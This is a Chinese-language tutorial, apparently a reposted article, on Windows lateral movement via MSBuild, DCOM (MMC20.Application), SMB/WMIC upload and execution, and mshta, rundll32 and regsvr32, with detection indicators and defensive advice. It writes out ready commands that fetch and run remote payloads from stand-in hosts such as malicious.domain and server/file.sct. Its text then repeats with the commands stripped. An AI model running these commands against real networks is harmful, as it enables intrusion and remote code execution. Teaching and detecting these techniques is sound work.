Offensive Lateral Movement(下)
字数 1565 2025-08-26 22:11:45

MSBuild与DCOM横向渗透技术详解

1. MSBuild横向渗透技术

1.1 MSBuild简介

MSBuild.exe是Microsoft签名的可执行文件,随.NET Framework安装,用于编译/构建C#应用程序。攻击者可以利用它:

  • 编译C#代码生成恶意二进制文件或payload
  • 直接从XML文件运行payload

1.2 基本使用方法

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe \\host.domain\path\to\XMLfile.xml

1.3 常见问题与解决方案

双跃点问题
通过WMIC调用MSBuild构建SMB传输的XML文件时会失败,因为网络登录时凭证不会发送到远程主机。

解决方案

  1. 本地托管XML文件:
copy C:\Users\Administrator\Downloads\build.xml \\LABWIN10.lab.local\C$\Windows\Temp
wmic /node:LABWIN10.lab.local /user:LAB\Administrator /password:Password! process call create "c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe C:\Windows\Temp\build.xml"
  1. 通过WebDAV托管XML文件

  2. 使用PsExec:

psexec \\host.domain -u Domain\Tester -p Passw0rd c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe \\host.domain\C$\Windows\Temp\build.xml

1.4 PowerLessShell插件

Cobalt Strike提供的Aggressor Script插件,通过MSBuild执行Powershell命令而非直接运行Powershell进程:
https://github.com/Mr-Un1k0d3r/PowerLessShell

1.5 检测指标(IOC)

  • MSBuild通过SMB建立出站连接
  • MSBuild.exe调用QueryNetworkOpenInformationFile操作

2. DCOM横向渗透技术

2.1 DCOM简介

组件对象模型(COM)是进程间通信协议,分布式COM(DCOM)是其网络版本。

2.2 MMC20.Application方法

使用MMC 2.0中的ExecuteShellCommand方法:

[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\Calc.exe","0","0","0")

2.3 双跃点问题与解决方案

DCOM同样面临双跃点问题,解决方法:

  1. 使用WebDAV
  2. 在无需认证的SMB共享上托管XML文件
  3. 尝试其他类似"ExecuteShellCommand"的方法

WebDAV示例

[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe",$null,"\\192.168.10.131\webdav\build.xml","7")

2.4 相关IOC

  • 生成两个运行mmc.exe的进程
  • WebDAV写入临时文件:
    C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
  • MSBuild写入临时文件:
    C:\Users[USER]\AppData\Local\Temp[RANDOM]\ (会自动清理)

3. 远程文件上传技术

3.1 基本方法

通过SMB上传二进制文件到目标系统的C$共享,然后通过WMIC或DCOM执行:

copy C:\Windows\Temp\Malice.exe \\target.domain\C$\Windows\Temp
wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\Temp\Malice.exe"

3.2 Cobalt Strike注意事项

beacon需要通过命令手动完成"签入":

link target.domain

4. 其他代码执行方法

4.1 Mshta

执行.hta文件(Microsoft HTML应用程序):

mshta.exe https://malicious.domain/runme.hta

4.2 Rundll32

执行DLL文件,可通过UNC WebDAV路径或JavaScript指定:

rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"

变体

  1. 使用url.dll运行.hta或.url文件:
rundll32.exe url.dll,OpenURL "C:\Windows\Temp\test.hta"
  1. 使用ieframe.dll或shdocvw.dll运行.url文件

.url文件示例

[InternetShortcut]
URL=file:///c:\windows\system32\cmd.exe

4.3 Regsvr32

注册服务器,可接受URL参数运行.sct文件:

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

5. 防御建议

  1. 监控MSBuild.exe的异常网络连接
  2. 检查QueryNetworkOpenInformationFile操作
  3. 监控mmc.exe的异常进程
  4. 检查WebDAV临时目录的异常文件
  5. 限制DCOM的远程访问权限
  6. 监控异常的文件上传行为
  7. 对mshta、rundll32和regsvr32等二进制文件的使用进行审计

6. 参考资源

  1. MITER ATT&CK知识库:https://attack.mitre.org/
  2. Casey Smith关于regsvr32的深度介绍文章
  3. PowerLessShell项目:https://github.com/Mr-Un1k0d3r/PowerLessShell
MSBuild与DCOM横向渗透技术详解 1. MSBuild横向渗透技术 1.1 MSBuild简介 MSBuild.exe是Microsoft签名的可执行文件,随.NET Framework安装,用于编译/构建C#应用程序。攻击者可以利用它: 编译C#代码生成恶意二进制文件或payload 直接从XML文件运行payload 1.2 基本使用方法 1.3 常见问题与解决方案 双跃点问题 : 通过WMIC调用MSBuild构建SMB传输的XML文件时会失败,因为网络登录时凭证不会发送到远程主机。 解决方案 : 本地托管XML文件: 通过WebDAV托管XML文件 使用PsExec: 1.4 PowerLessShell插件 Cobalt Strike提供的Aggressor Script插件,通过MSBuild执行Powershell命令而非直接运行Powershell进程: https://github.com/Mr-Un1k0d3r/PowerLessShell 1.5 检测指标(IOC) MSBuild通过SMB建立出站连接 MSBuild.exe调用 QueryNetworkOpenInformationFile 操作 2. DCOM横向渗透技术 2.1 DCOM简介 组件对象模型(COM)是进程间通信协议,分布式COM(DCOM)是其网络版本。 2.2 MMC20.Application方法 使用MMC 2.0中的 ExecuteShellCommand 方法: 2.3 双跃点问题与解决方案 DCOM同样面临双跃点问题,解决方法: 使用WebDAV 在无需认证的SMB共享上托管XML文件 尝试其他类似"ExecuteShellCommand"的方法 WebDAV示例 : 2.4 相关IOC 生成两个运行mmc.exe的进程 WebDAV写入临时文件: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV MSBuild写入临时文件: C:\Users[USER]\AppData\Local\Temp[RANDOM]\ (会自动清理) 3. 远程文件上传技术 3.1 基本方法 通过SMB上传二进制文件到目标系统的C$共享,然后通过WMIC或DCOM执行: 3.2 Cobalt Strike注意事项 beacon需要通过命令手动完成"签入": 4. 其他代码执行方法 4.1 Mshta 执行.hta文件(Microsoft HTML应用程序): 4.2 Rundll32 执行DLL文件,可通过UNC WebDAV路径或JavaScript指定: 变体 : 使用url.dll运行.hta或.url文件: 使用ieframe.dll或shdocvw.dll运行.url文件 .url文件示例 : 4.3 Regsvr32 注册服务器,可接受URL参数运行.sct文件: 5. 防御建议 监控MSBuild.exe的异常网络连接 检查 QueryNetworkOpenInformationFile 操作 监控mmc.exe的异常进程 检查WebDAV临时目录的异常文件 限制DCOM的远程访问权限 监控异常的文件上传行为 对mshta、rundll32和regsvr32等二进制文件的使用进行审计 6. 参考资源 MITER ATT&CK知识库: https://attack.mitre.org/ Casey Smith关于regsvr32的深度介绍文章 PowerLessShell项目: https://github.com/Mr-Un1k0d3r/PowerLessShell